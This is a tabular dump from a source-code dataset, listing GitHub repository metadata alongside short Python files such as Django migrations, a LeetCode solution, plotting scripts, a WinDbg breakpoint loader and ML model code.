blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
599a5100c97cb2e4253e1355234bd786899eb985 | 3bec37b9145af3381f1bbc55745d3ef193694c46 | /presentation/performance/bimodal.py | 965f31acae633b21499c738a90af24fdf56d0dc8 | [] | no_license | nuria/study | c00fa8776514ba4343d9923a9e61af5482d7454c | 57ddbafc762da7c8756b475f016c92bf391bc370 | refs/heads/master | 2023-08-05T01:00:48.923046 | 2023-07-22T14:54:48 | 2023-07-22T14:54:48 | 7,290,586 | 5 | 20 | null | null | null | null | UTF-8 | Python | false | false | 304 | py | #!/usr/local/bin/python
import matplotlib.pyplot as pl
x = [10,10,20,20,20,20,20, 30,30, 30, 30, 40, 40, 60,70, 70, 70, 70, 80, 80, 80, 80, 80, 90, 90, 100]
bins = [10,20,30,40,50,60,70,80,90,100]
pl.hist(x, bins, color=('pink'))
pl.ylim(ymax=6)
pl.title("Test Scores")
pl.xlabel("Score")
pl.show()
| [
"nuria@wikimedia.org"
] | nuria@wikimedia.org |
6cb9fd58900ec505001f59b51e1c295c89baff3d | 6045075c734d65a3cec63d3ae15f8f9f13836559 | /solutions/0077_Combinations/recur_self.py | c534028c6b36b89e0714d0278ffe0c21c214e2c0 | [] | no_license | zh-wang/leetcode | c058470fdf84fb950e3d4f974b27826718942d05 | 6322be072e0f75e2da28b209c1dbb31593e5849f | refs/heads/master | 2021-12-28T02:49:11.964213 | 2021-08-25T06:29:21 | 2021-08-25T06:29:21 | 189,919,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 655 | py | class Solution:
def combine(self, n: int, k: int) -> List[List[int]]:
# combine(n, k) = combine(n-1, i-1) + [i], k <= i <= n
# 1. For the element we pick for combine(n, k),
# we can pick it from k to n, cause we need at least k elements to form the answer.
# (We know that the fi... | [
"viennakanon@gmail.com"
] | viennakanon@gmail.com |
c9366d2c943f63b4c637c861fa71090d1af49555 | c91d029b59f4e6090a523bf571b3094e09852258 | /src/produto/migrations/0021_produtotamanho_descricao.py | d5cbafd682e15e63f33be66a3c4d365186036266 | [
"MIT"
] | permissive | anselmobd/fo2 | d51b63ebae2541b00af79448ede76b02638c41f0 | 8e7f8f3d9a296c7da39d0faf38a266e9c6c162ab | refs/heads/master | 2023-08-31T19:59:33.964813 | 2023-08-31T19:50:53 | 2023-08-31T19:50:53 | 92,856,677 | 1 | 0 | MIT | 2023-04-21T21:50:46 | 2017-05-30T17:04:27 | Python | UTF-8 | Python | false | false | 503 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2019-04-29 19:49
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('produto', '0020_produtocor_descricao'),
]
operations = [
migrations.AddFiel... | [
"anselmo.blanco.dominguez+github@gmail.com"
] | anselmo.blanco.dominguez+github@gmail.com |
a522239343b1e09f2c5134b508faa2f98456ebbb | c4c159a21d2f1ea0d7dfaa965aeff01c8ef70dce | /flask/flaskenv/Lib/site-packages/pandas/_config/config.py | 788bdbb89a23217a4a35e3dbccf570e3d3fa075f | [] | no_license | AhsonAslam/webapi | 54cf7466aac4685da1105f9fb84c686e38f92121 | 1b2bfa4614e7afdc57c9210b0674506ea70b20b5 | refs/heads/master | 2020-07-27T06:05:36.057953 | 2019-09-17T06:35:33 | 2019-09-17T06:35:33 | 208,895,450 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 130 | py | version https://git-lfs.github.com/spec/v1
oid sha256:947b386607f6b3f78c6e96a0c9aaa85d0fd62af2fb3fc31d67c95cfeec3e83d4
size 22977
| [
"github@cuba12345"
] | github@cuba12345 |
c1e07b3cd70a17a10d69eea452c3c3ded007a6d6 | f620403443b2c0affaed53505c002f35dc68020c | /StreamGeneration/GlobalSortByTime.py | 6ed5583c67de689562fa1d548b710d9c6a8cab7f | [] | no_license | ZhuJiahui/CTMTS | c552b3026deb47879f9aa5bde4b002cf6283858d | 9f8981f6e61900a68a38ae0392e01771beee9651 | refs/heads/master | 2021-01-12T10:18:27.579697 | 2016-12-14T02:23:29 | 2016-12-14T02:23:29 | 76,416,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,066 | py | # -*- coding: utf-8 -*-
'''
Created on 2014年7月22日
@author: ZhuJiahui506
'''
import os
import time
from operator import itemgetter
from TextToolkit import quick_write_list_to_text
def get_time_range(read_directory):
'''
最初时间与最后时间
:param read_directory:
'''
time_series = []
each_time_interval =... | [
"zhujiahui@outlook.com"
] | zhujiahui@outlook.com |
3294126f04d6d5c3ee2390dfc9a57ecb73bc88e2 | 85af4750761974dd406edf614cfe74d0cfc5ba6f | /apps/users/migrations/0003_user_area.py | bd6e8ed903869ceabdc2691194afbe75c7dd7f5f | [] | no_license | Comunidad-de-Programadores/Team-Vue-14-Comfeco-Backend | ebdf9724b6963629c887370d2ddfb7ced072854e | e14856fe6d7b49289cd8cf4bca7e98556ec1ec96 | refs/heads/main | 2023-03-22T00:57:55.189866 | 2021-03-19T13:37:01 | 2021-03-19T13:37:01 | 337,901,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 599 | py | # Generated by Django 3.1.1 on 2021-03-06 05:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0002_auto_20210228_1300'),
]
operations = [
migrations.AddField(
model_name='user',
name='area',
... | [
"danielhuamani15@gmail.com"
] | danielhuamani15@gmail.com |
3b4f675e1614fdb5809f39e201751cfadc0e0ad1 | 17248f16c4bf01b9b8257ba4855fb9d747bab100 | /windbgtool/debugger_load_breakpoints.py | 4cf7221dce572d52a6e2a50ec5afb20d89384a52 | [
"MIT"
] | permissive | fengjixuchui/windbgtool | 0d910596ab77c1482fbb8a9c82c381829baaa428 | 9dc759e983043ded2a8de143af24d94a3a4e4862 | refs/heads/master | 2020-08-17T14:57:48.968526 | 2019-10-17T06:02:19 | 2019-10-17T06:02:19 | 215,680,906 | 0 | 0 | MIT | 2019-10-17T06:02:22 | 2019-10-17T01:55:12 | null | UTF-8 | Python | false | false | 980 | py | import sys
import os
import logging
import windbgtool
from optparse import OptionParser, Option
parser = OptionParser(usage="usage: %prog [options] args")
parser.add_option("-b", "--breakpoint_db", dest="breakpoint_db", type="string", default="", metavar="BREAKPOINT_DB",
help="Breakpoint DB filename... | [
"oh.jeongwook@gmail.com"
] | oh.jeongwook@gmail.com |
5a98ae5a045a32ec3241b0ba03fe150df8ed8e90 | d5d7b0773d312545a0b36f72d119a3feae3c200b | /manage.py | 1d906eb32601e4c1065a1be1dd03f8f36f891566 | [] | no_license | princ3raj/advanceBlogApp | 0e23812a5ff27ad5bf2238422073a5ab45d4ae0a | ebed84f2899773cd15fb66f515f9f5787307056a | refs/heads/master | 2023-06-11T02:57:19.954941 | 2021-06-16T13:09:40 | 2021-06-16T13:09:40 | 298,969,263 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 670 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'advanceBlogApp.settings')
try:
from django.core.management import execute_from_command_line
exce... | [
"princ3raj1999@gmail.com"
] | princ3raj1999@gmail.com |
3a014455f400edcae05b46b534a82c2f547fa079 | be69a4f0093561a38449d717112ce94a7616e505 | /joulescope_ui/test/test_config.py | 1e346c9eba7c0754e605af629da6bbe677ae6325 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | adam-urbanczyk/pyjoulescope_ui | b0692178f4b4257427e97ce8e67b79279d6e04ba | fe5475c8d75b980b63dc3ec6d14f7de99e33efc1 | refs/heads/master | 2020-06-17T09:21:12.496697 | 2019-07-02T14:57:18 | 2019-07-02T14:57:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,596 | py | # Copyright 2018 Jetperch LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | [
"matt.liberty@jetperch.com"
] | matt.liberty@jetperch.com |
684aa470a21d1d3d0dabc09d2afaf2008ecf134c | eb56b01d5900db238bd94fc0283866575e37d8b5 | /aerobot/migrations/0014_delete_gallery.py | e5ee851484617a7b80075a25af3b3a77990afd64 | [] | no_license | prathmesh2048/Aerobots-Website | 43220db29a89edda059a34f8b7e3c14657103a4e | 9c11a5777b770df7aa4f8aec16e7c61f25419c0a | refs/heads/master | 2023-03-07T06:24:43.308905 | 2021-02-22T08:51:58 | 2021-02-22T08:51:58 | 292,319,707 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 295 | py | # Generated by Django 3.1 on 2020-09-03 10:24
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('aerobot', '0013_remove_gallery_link'),
]
operations = [
migrations.DeleteModel(
name='Gallery',
),
]
| [
"prathmeshnandurkar123@gmail.com"
] | prathmeshnandurkar123@gmail.com |
41ed640797d8b39a7645ff460aec3b52decb2d9d | 14a1c405bb1fe6fc7b5ccf4d6b8a2d042309ce93 | /tests/test_github_com.py | a41c327a607414f6008fddac4bec79d69c44f431 | [
"MIT"
] | permissive | the-dan/import_from_github_com | f067efd57edce46d83857101516188d5b6ce778d | 8fdd185b73835f637bb3e789d15e1ce13ff8f5cb | refs/heads/master | 2022-12-07T21:37:44.645946 | 2020-08-22T14:27:15 | 2020-08-22T14:27:15 | 288,563,107 | 0 | 0 | MIT | 2020-08-18T20:58:28 | 2020-08-18T20:58:27 | null | UTF-8 | Python | false | false | 284 | py | def test_import_module():
from github_com.kennethreitz import requests
assert requests.get('https://github.com').status_code == 200
def test_import_from_module():
from github_com.kennethreitz.requests import get
assert get('https://github.com').status_code == 200
| [
"nvbn.rm@gmail.com"
] | nvbn.rm@gmail.com |
d61d98030e8ca3ecbdbfec6fe7148c08a55779ed | 62e58c051128baef9452e7e0eb0b5a83367add26 | /x12/5020/999005020.py | f972b49f11a222801df1d8cfa147f11ba02906ea | [] | no_license | dougvanhorn/bots-grammars | 2eb6c0a6b5231c14a6faf194b932aa614809076c | 09db18d9d9bd9d92cefbf00f1c0de1c590fe3d0d | refs/heads/master | 2021-05-16T12:55:58.022904 | 2019-05-17T15:22:23 | 2019-05-17T15:22:23 | 105,274,633 | 0 | 0 | null | 2017-09-29T13:21:21 | 2017-09-29T13:21:21 | null | UTF-8 | Python | false | false | 674 | py | from bots.botsconfig import *
from records005020 import recorddefs
syntax = {
'version' : '00403', #version of ISA to send
'functionalgroup' : 'FA',
}
structure = [
{ID: 'ST', MIN: 1, MAX: 1, LEVEL: [
{ID: 'AK1', MIN: 1, MAX: 1},
{ID: 'AK2', MIN: 0, MAX: 99999, L... | [
"jason.capriotti@gmail.com"
] | jason.capriotti@gmail.com |
bdaeffeb33e535244e7fc70fc8248c8c9842f951 | f4663fe7fb660b62cca0c17bfd4c568bbc5bfb49 | /UNO-R3/examples/test_led.py | 485d9c10bf2ad38162d41e7e56ca6cc2675b1b70 | [] | no_license | mchobby/pyboard-driver | 274f0f90e895bdf6f80c27a716788e5a444c24d3 | 3fd45b81588d00479bf55d3dc7ea0ece3cb170de | refs/heads/master | 2023-04-26T14:27:11.323019 | 2023-04-13T21:37:50 | 2023-04-13T21:37:50 | 63,084,841 | 12 | 10 | null | 2022-11-27T19:35:00 | 2016-07-11T16:37:00 | Python | UTF-8 | Python | false | false | 430 | py | # Test the Neopixel present on the PYBOARD-UNO-R3 board
#
from uno import pixels
from time import sleep
led = pixels() # just one LED
red = (255,0,0)
green = (0,255,0)
blue = (0,0,255)
led.fill( red )
led.write()
sleep(1)
led.fill( green )
led.write()
sleep(1)
led.fill( blue )
led.write()
sleep(1)
led.fill( (25... | [
"info@mchobby.be"
] | info@mchobby.be |
640aef9894f039267aba382904d3941646e285ee | f34dc191304f0c54527948aa7b7123fd6efe85b9 | /insert.py | cda7d978b6b817a7d459a0f2974143bf3c9060a9 | [] | no_license | sujith1919/groza | b3fc4641de48423da9a219c33e390ea2c4915687 | 5b68e052266d5307a0058d7031b3b20c4a1b9bcb | refs/heads/master | 2023-02-28T03:09:51.568592 | 2021-02-02T16:34:49 | 2021-02-02T16:34:49 | 335,353,163 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,685 | py | #!/usr/bin/python
import psycopg2
from config import config
def connect():
""" Connect to the PostgreSQL database server """
conn = None
try:
# read connection parameters
params = config()
# connect to the PostgreSQL server
print('Connecting to the PostgreSQL database...')
... | [
"jayarajan.sujith@oracle.com"
] | jayarajan.sujith@oracle.com |
43fd9e035ebf49370ede93a58cceb5a1a2df58a2 | 1c91439673c898c2219ee63750ea05ff847faee1 | /mmcls/models/heads/multi_label_linear_head.py | 0e9d0684a1b4aff4fa92ba807e550a4de98a6949 | [
"Apache-2.0"
] | permissive | ChenhongyiYang/GPViT | d7ba7f00d5139a989a999664ab0874c5c9d53d4d | 2b8882b2da41d4e175fe49a33fcefad1423216f4 | refs/heads/main | 2023-06-08T00:10:07.319078 | 2023-05-26T15:52:54 | 2023-05-26T15:52:54 | 577,075,781 | 78 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,948 | py | # Copyright (c) OpenMMLab. All rights reserved.
import torch
import torch.nn as nn
from ..builder import HEADS
from .multi_label_head import MultiLabelClsHead
@HEADS.register_module()
class MultiLabelLinearClsHead(MultiLabelClsHead):
"""Linear classification head for multilabel task.
Args:
num_class... | [
"chenhongyiyang@Chenhongyis-MacBook-Pro.local"
] | chenhongyiyang@Chenhongyis-MacBook-Pro.local |
d945fc30415b316e05bee88c5573d829ba4719b9 | 084a13b6524e21914826e842eeefefd09570a970 | /experiments/procgen_exploration/jumper/ppo_cnd_2_0.py | 9ac4ad7392e37ae8846941d8fc80871f8484960a | [
"MIT"
] | permissive | michalnand/reinforcement_learning | 28aa0e2c92b6112cf366eff0e0d6a78b9a56e94f | 01635014a37a4c871766b4cdd2caaa26a0c2d8cc | refs/heads/main | 2023-06-01T10:27:36.601631 | 2023-02-12T19:46:01 | 2023-02-12T19:46:01 | 217,841,101 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,187 | py | import time
import torch
import RLAgents
import models.ppo_cnd_2_0.src.model_ppo as ModelPPO
import models.ppo_cnd_2_0.src.model_cnd_target as ModelCNDTarget
import models.ppo_cnd_2_0.src.model_cnd as ModelCND
import models.ppo_cnd_2_0.src.config as Config
#torch.cuda.set_device("cuda:1")
... | [
"michal.nand@gmail.com"
] | michal.nand@gmail.com |
498922c4b2af734bee8adc81ca0627c2f25b46c0 | f719ec76a8417fc05a2d46ada2501052e2bf9469 | /dicg/torch/baselines/__init__.py | 8d90ef326b8eee216b97735a1d2efda2c656eaca | [] | no_license | yang-xy20/DICG | cc31064a3e4a3dd01414161e42b228c2c09bfea7 | c64ba9dbbe0f2b745cd04ce516aa1fed4c2cffc7 | refs/heads/master | 2023-07-04T18:25:18.461196 | 2021-08-19T21:34:06 | 2021-08-19T21:34:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 289 | py | from dicg.torch.baselines.gaussian_mlp_baseline import GaussianMLPBaseline
from dicg.torch.baselines.dicg_critic import DICGCritic
from dicg.torch.baselines.attention_mlp_critic import AttentionMLPCritic
__all__ = [
'GaussianMLPBaseline',
'DICGCritic',
'AttentionMLPCritic',
] | [
"lisheng@stanford.edu"
] | lisheng@stanford.edu |
dd0b358353cfac1a73baa1e7653032b942731d2a | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03479/s081451690.py | 2d434d0c722ffcf0dc82c9e9c3c1e7001d970560 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 139 | py | X,Y = map(int,input().split())
ans = 0
for i in range(Y):
if X <= Y:
ans += 1
X *= 2
else:
break
print(ans) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
eccc336a352e0d802ed588afb9de41f3723494d3 | ac82f56dc4c7cb6b370d51c0779113a981ef3f01 | /intermol/forces/lj_sigeps_nonbonded_type.py | b06a03a785faa4b02f7e13d431a7dec2ac915d29 | [
"MIT"
] | permissive | ctk3b/InterMol | d1e8a53efedcd180ba6e3d5cf80788defae478fb | 5224b0a01e6db02ecb9dc1e6996a6df5e9bf630d | refs/heads/master | 2020-04-04T20:47:41.012740 | 2017-03-12T20:51:01 | 2017-03-12T20:51:01 | 40,187,082 | 0 | 0 | null | 2015-08-04T13:42:12 | 2015-08-04T13:42:11 | null | UTF-8 | Python | false | false | 1,302 | py | import simtk.unit as units
from intermol.decorators import accepts_compatible_units
from intermol.forces.abstract_nonbonded_type import AbstractNonbondedType
class LjSigepsNonbondedType(AbstractNonbondedType):
__slots__ = ['sigma', 'epsilon', 'type']
@accepts_compatible_units(None, None,
... | [
"christoph.t.klein@me.com"
] | christoph.t.klein@me.com |
65973df5fe958ef43d875007d011cb487127b30f | d66818f4b951943553826a5f64413e90120e1fae | /hackerearth/Algorithms/Beautiful Strings/solution.py | 33a4185d9020a23110d3f259c0ff305bdb2dd595 | [
"MIT"
] | permissive | HBinhCT/Q-project | 0f80cd15c9945c43e2e17072416ddb6e4745e7fa | 19923cbaa3c83c670527899ece5c3ad31bcebe65 | refs/heads/master | 2023-08-30T08:59:16.006567 | 2023-08-29T15:30:21 | 2023-08-29T15:30:21 | 247,630,603 | 8 | 1 | MIT | 2020-07-22T01:20:23 | 2020-03-16T06:48:02 | Python | UTF-8 | Python | false | false | 875 | py | """
# Sample code to perform I/O:
name = input() # Reading input from STDIN
print('Hi, %s.' % name) # Writing output to STDOUT
# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail
"""
# Write your code here
from collections import defaultdict
t = in... | [
"hbinhct@gmail.com"
] | hbinhct@gmail.com |
1c81f2b5373941ff4b3cacc4269d00c333b9dfab | 09aee268ce72d282f53fe94f42478e2b3b48127d | /PracticemodelformProject/testapp/admin.py | 204fdaf32620f4860c87848b9f5ccbbb2094de3c | [] | no_license | keshava519/Django_Projects | c95d0f8c55d4cc946291be6fb058b7298aefe596 | 99584892b9d9ec6b6395a382c684b4d036d07874 | refs/heads/main | 2023-02-23T03:44:32.110742 | 2021-01-27T15:15:13 | 2021-01-27T15:15:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 213 | py | from django.contrib import admin
from testapp.models import Student
# Register your models here.
class StudentAdmin(admin.ModelAdmin):
list_display=['name','marks']
admin.site.register(Student,StudentAdmin)
| [
"keshava.cadcam@gmail.com"
] | keshava.cadcam@gmail.com |
53410072ce6d7e6b0748d3be7521fbceb1cb762d | 0bdfefad123a03754713c64582a3986bd26965bd | /tests/test_user.py | 5f947fd39d6c494f18bedaa1ea4c80ede89935a6 | [] | no_license | Kennedy128/pitch-survey | 889d7747139b88df76bfb09d8801d83cf05063b7 | f6c0cb8ab8a57ba4b59b53a8a6092d0c023dc8e5 | refs/heads/master | 2022-05-29T07:46:54.391714 | 2020-05-05T23:05:00 | 2020-05-05T23:05:00 | 260,503,908 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,175 | py | import unittest
from app.models import User
from app import db
class UserModelTest(unittest.TestCase):
def setUp(self):
self.new_user = User(username = "kennedy", email ="kennedymbithi12@gmail.com", bio = "I am incredible", profile_pic_url = "image_url", password = 'kenny', id = 1 )
def tearDown(self)... | [
"santa@northpole.com"
] | santa@northpole.com |
b5d963da42ff8506f0eeb54936e68ed7926e4e90 | 6923f79f1eaaba0ab28b25337ba6cb56be97d32d | /BuildingMachineLearningSystemsWithPython/ch01/gen_webstats.py | fa133d769a16dc477cbbb22ac4d2ba34f9a13a27 | [] | no_license | burakbayramli/books | 9fe7ba0cabf06e113eb125d62fe16d4946f4a4f0 | 5e9a0e03aa7ddf5e5ddf89943ccc68d94b539e95 | refs/heads/master | 2023-08-17T05:31:08.885134 | 2023-08-14T10:05:37 | 2023-08-14T10:05:37 | 72,460,321 | 223 | 174 | null | 2022-10-24T12:15:06 | 2016-10-31T17:24:00 | Jupyter Notebook | UTF-8 | Python | false | false | 1,289 | py | # This code is supporting material for the book
# Building Machine Learning Systems with Python
# by Willi Richert and Luis Pedro Coelho
# published by PACKT Publishing
#
# It is made available under the MIT License
# This script generates web traffic data for our hypothetical
# web startup "MLASS" in chapter 01
impo... | [
"bb@b.om"
] | bb@b.om |
19bc27f2d36f6218270c1f5123559fb259030256 | c924753b19bc892f9b756483f080cd8a69f22dec | /tests/test_unparse_sub.py | 314d51de3b294148efc0fee5782aec2767c3f5e2 | [
"BSD-3-Clause"
] | permissive | mbrukman/fontFeatures | 21a65190aea163174486d026627b7a87a2e3fa20 | 9c33517571d9870e536dea005f7387f52b3fc967 | refs/heads/master | 2023-03-07T02:41:37.527028 | 2021-02-16T22:45:47 | 2021-02-16T22:45:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,808 | py | from fontFeatures import Substitution, FontFeatures
from fontTools.ttLib import TTFont
from fontFeatures.ttLib.GSUBUnparser import GSUBUnparser
from fontFeatures.ttLib import unparseLanguageSystems
import pprint
import unittest
class TestUnparse(unittest.TestCase):
font = TTFont("fonts/Amiri-Regular.ttf")
loo... | [
"simon@simon-cozens.org"
] | simon@simon-cozens.org |
3595f3dc264996d3f27dba5091335b3d7999d3c1 | 70fccf84f1f8dbca2d289e4c983a45b6d715f5df | /utils/prob.py | 912341c94261659e690a170ee4c042f344caaa69 | [] | no_license | SensorsAudioINI/SpikeSeparation | ca05b4e08e90127bf82226ebc4ba6d7a0618ec94 | 6807b0914d90f6ae66e550be9ad50483b9c3d983 | refs/heads/master | 2021-03-30T17:47:27.209746 | 2020-04-03T14:42:46 | 2020-04-03T14:42:46 | 122,992,649 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,844 | py | from __future__ import division
from scipy.stats import norm
import warnings
import numpy as np
import progressbar
from matplotlib import pyplot
index_angles_01 = np.array([[12, 0], [11, -30], [9, -90], [8, -60], [4, 60], [3, 90], [1, 30]])
index_angles_02 = np.array([[1, 30], [2, 60], [3, 90], [4, 120], [5, 150], [6... | [
"enea.ceolini@gmail.com"
] | enea.ceolini@gmail.com |
8a76865e6a5cdbbe7fa9df6795eea725d172e6c9 | 1bbead5d97a279383ae9ae6e4ee70af5d69f1e92 | /tokipona1000/init_conll.py | e9dc534168a128e9f2bcd38130063f4255f8815c | [] | no_license | m-rey/tokipona-corpus-collection | de948540b5045477418b88b0fc9594794cb5f921 | fd8988273f6dfbdad4aaffc12447d0e63284e5d0 | refs/heads/main | 2023-09-05T01:33:39.482149 | 2021-11-20T17:55:34 | 2021-11-20T17:55:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 551 | py | from ilonimi.normalizer import Normalizer
from ilonimi.tokenizer import Tokenizer
def main():
normalizer = Normalizer()
tokenizer = Tokenizer()
with open('tokipona1000.txt') as f:
for i, x in enumerate(f):
x = x.strip()
x = normalizer(x)
x = tokenizer(x)
... | [
"nymwa0@gmail.com"
] | nymwa0@gmail.com |
acc4b47ecab5e6f2765e24d3ccdf1f6b96e4655a | a797793842f433251d2ab0bafb0ebe800b89a076 | /rulet.py | 8d79359d829dea8fd95428ecdf71213eb4e4120b | [] | no_license | irhadSaric/Instrukcije | b2f576bceb7e75f5fa65bfef99c9cde53d597b32 | 9ac8979b824babdeef3712ab9d23c764536d57b0 | refs/heads/master | 2020-09-28T09:00:08.389651 | 2020-02-01T20:33:59 | 2020-02-01T20:33:59 | 226,740,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 372 | py | import random
# hocu da igram 10000 puta rulet
# svaki od tih 10000 puta cu birati random broj na ruletu
# koja je vjrv da cu dobiti
# najveci na ruletu broj : 36
brojiPobjede = 0
for i in range(10000):
mojBroj = random.randint(0, 36)
ruletovBroj = random.randint(0, 36)
if mojBroj == ruletovBroj:
... | [
"irhad.saric@hotmail.com"
] | irhad.saric@hotmail.com |
7500539e4b77c87262170eb516cec1aceeee07e0 | f00ad57c98e554470a72511dda7a7bfd160aca19 | /linear_structure/stack/number_converter.py | c3c80bda42a7c14c042346c0ebb05009899d9057 | [] | no_license | fanzhangg/algorithm-problems | d60115210aaaffcd094b34b9db5b46dadf93fe9e | 43b111ad625f197ba0905abceab9ee4484284e08 | refs/heads/master | 2021-07-12T20:24:46.265700 | 2020-07-06T17:58:31 | 2020-07-06T17:58:31 | 171,220,135 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,684 | py | from stack import Stack
def dec_to_bin(num: int) -> str:
"""
Convert integer values into binary numbers
Algorithm: Divided By 2
- Start with an integer greater than 0
- Continuously divide the number by 2 and keep track of the reminder
- the reversed string of reminders is the binary string
... | [
"vanadiumzhang@gmail.com"
] | vanadiumzhang@gmail.com |
5c09566cc272f32a6131fcd7db6e831101f055f0 | add74ecbd87c711f1e10898f87ffd31bb39cc5d6 | /xcp2k/classes/_print13.py | a7e6fa4811794eca39b339bb74efedcf02cf7cbe | [] | no_license | superstar54/xcp2k | 82071e29613ccf58fc14e684154bb9392d00458b | e8afae2ccb4b777ddd3731fe99f451b56d416a83 | refs/heads/master | 2021-11-11T21:17:30.292500 | 2021-11-06T06:31:20 | 2021-11-06T06:31:20 | 62,589,715 | 8 | 2 | null | null | null | null | UTF-8 | Python | false | false | 709 | py | from xcp2k.inputsection import InputSection
from xcp2k.classes._program_run_info9 import _program_run_info9
from xcp2k.classes._temperature_colvar1 import _temperature_colvar1
from xcp2k.classes._colvar1 import _colvar1
from xcp2k.classes._hills1 import _hills1
class _print13(InputSection):
def __init__(self):
... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
7bf3cd6349e900045b70d5067d841f9c263f9e28 | 318013ccb8738ace0ec72965dac0a3e3fe2fecad | /venv/bin/rst2man.py | 349d495c52f4ce4e924826a8e3e02475f3a96e78 | [] | no_license | nahyunkwon/Processing-3DImages | 792deafbd1a607af8cae439b5d7ab81f772f6653 | bde217aad08dd911ae8125edeae42f7b674614f2 | refs/heads/master | 2023-01-02T10:29:41.325974 | 2020-11-01T19:02:19 | 2020-11-01T19:02:19 | 299,133,212 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 633 | py | #!/Users/kwon/PycharmProjects/3D_A2I/venv/bin/python
# Author:
# Contact: grubert@users.sf.net
# Copyright: This module has been placed in the public domain.
"""
man.py
======
This module provides a simple command line interface that uses the
man page writer to output from ReStructuredText source.
"""
import locale... | [
"skgus2624@gmail.com"
] | skgus2624@gmail.com |
ab48adc1e062d9080c5cb2145e3c5b78a51ebdd6 | f6078890ba792d5734d289d7a0b1d429d945a03a | /mid-term/chapmanbrendan/chapmanbrendan_26691_1312276_Q3.py | 299fe01f6c53025391c5faf4bf7e5800e3c4c29f | [] | no_license | huazhige/EART119_Lab | 1c3d0b986a0f59727ee4ce11ded1bc7a87f5b7c0 | 47931d6f6a2c7bc053cd15cef662eb2f2027712c | refs/heads/master | 2020-05-04T23:40:53.709217 | 2019-06-11T18:30:45 | 2019-06-11T18:30:45 | 179,552,067 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,818 | py | # -*- coding: utf-8 -*-
"""
Created on Wed May 8 08:24:43 2019
@author: blchapma
"""
#============================================================================
"Packages"
#============================================================================
import numpy as np
import matplotlib.pyplot as plt
... | [
"hge2@ucsc.edu"
] | hge2@ucsc.edu |
1b84faef65cc22245c96450dcbadae2ec6e81808 | 05725c7af76fd87d94cf424ef7d66efa50ac0bae | /mysite/exam/migrations/0008_auto_20200529_0948.py | 0d2407fdaef56b2c25e7ab300a64fb37490869b2 | [] | no_license | zhuzemin/questionnaire | 759ff2a9f14062f4cc03782269e8c17222a5b778 | 473a17bb0eb6fadeef0884df61d456d8bbb43259 | refs/heads/master | 2022-11-07T08:32:42.741511 | 2020-07-01T07:04:24 | 2020-07-01T07:04:24 | 276,302,646 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 757 | py | # Generated by Django 3.0.6 on 2020-05-29 01:48
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('exam', '0007_exam_status'),
]
operations = [
migrations.AddField(
model_name='exam',
na... | [
"gogs@fake.local"
] | gogs@fake.local |
